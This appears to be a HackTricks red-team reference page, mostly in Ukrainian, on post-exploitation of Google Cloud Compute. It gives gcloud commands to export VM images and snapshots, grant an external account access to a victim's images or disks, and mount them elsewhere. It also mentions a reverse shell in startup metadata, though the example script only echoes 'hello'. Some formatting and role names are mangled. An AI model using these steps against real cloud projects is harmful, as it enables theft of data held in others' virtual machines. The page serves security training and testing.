GCP - Compute Post Exploitation

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Compute

Для отримання додаткової інформації про Compute та VPC (Networking) див.:

GCP - Compute Enum

Export & Inspect Images locally

Це дозволяє атакуючому доступатися до даних, що містяться в уже існуючих образах або створювати нові образи запущених VMs та отримувати доступ до їхніх даних без наявності доступу до запущеної VM.

Можна експортувати VM image у bucket, а потім завантажити його й змонтувати локально за допомогою команди:

Експорт та завантаження VM image ```bash gcloud compute images export --destination-uri gs:///image.vmdk --image imagetest --export-format vmdk # The download the export from the bucket and mount it locally ```

Щоб виконати цю дію, атакуючому можуть знадобитися привілеї над storage bucket і, безумовно, привілеї над cloudbuild, оскільки це сервіс, який буде запитаний для виконання експорту
Крім того, для цього codebuild SA і compute SA потребують привілейованих дозволів.
The cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com needs:

  • roles/iam.serviceAccountTokenCreator
  • roles/compute.admin
  • roles/iam.serviceAccountUser

And the SA <project-id>-compute@developer.gserviceaccount.com needs:

  • oles/compute.storageAdmin
  • roles/storage.objectAdmin

Export & Inspect Snapshots & Disks locally

It’s not possible to directly export snapshots and disks, but it’s possible to transform a snapshot in a disk, a disk in an image and following the previous section, export that image to inspect it locally

Створити disk із snapshot та image із disk ```bash # Create a Disk from a snapshot gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

Create an image from a disk

gcloud compute images create [IMAGE_NAME] –source-disk=[NEW_DISK_NAME] –source-disk-zone=[ZONE]

</details>

### Перевірка Image під час створення VM

З метою отримання доступу до **даних, збережених в image** або всередині **запущеного VM** з якого зловмисник **створив image,** можливо надати зовнішньому обліковому запису доступ до image:

<details>

<summary>Надати доступ до image і створити VM</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

і потім створіть нову VM із нього:

Створити VM instance з образу ```bash gcloud compute instances create [INSTANCE_NAME] \ --project=[TARGET_PROJECT_ID] \ --zone=[ZONE] \ --image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME] ```

Якщо ви не можете надати вашому зовнішньому акаунту доступ до образу, ви можете запустити VM з цим образом у проєкті жертви та змусити метадані виконати reverse shell, щоб отримати доступ до образу, додавши параметр:

Створити VM з reverse shell у метаданих ```bash --metadata startup-script='#! /bin/bash echo "hello"; ' ```

Переглянути Snapshot/Disk, підключивши його до VM

З метою доступу до даних, що зберігаються в disk або snapshot, ви можете перетворити snapshot у disk, disk у image і виконати попередні кроки.

Або ви можете надати зовнішньому акаунту доступ до disk (якщо точка старту — snapshot, надайте доступ до snapshot або створіть з нього disk):

Надати доступ до disk ```bash gcloud projects add-iam-policy-binding [PROJECT_ID] \ --member='user:[USER_EMAIL]' \ --role='roles/compute.storageAdmin' ```

Приєднати диск до instance:

Приєднати диск до instance ```bash gcloud compute instances attach-disk [INSTANCE_NAME] \ --disk [DISK_NAME] \ --zone [ZONE] ```

Змонтуйте диск всередині VM:

  1. SSH into the VM:
SSH into VM і змонтуйте диск
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. Визначте диск: Опинившись у VM, визначте новий диск, перелічивши пристрої дисків. Зазвичай його можна знайти як /dev/sdb, /dev/sdc тощо.
  2. Форматування та монтування диска (якщо це новий або raw диск):
  • Створіть точку монтування:
Створити точку монтування та змонтувати
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • Змонтуйте диск:
Монтування пристрою диска
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

Якщо ви не можете надати доступ зовнішньому проекту до snapshot або диска, можливо, вам доведеться pвиконати ці дії всередині екземпляра в тому ж проекті, що й snapshot/disk.

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks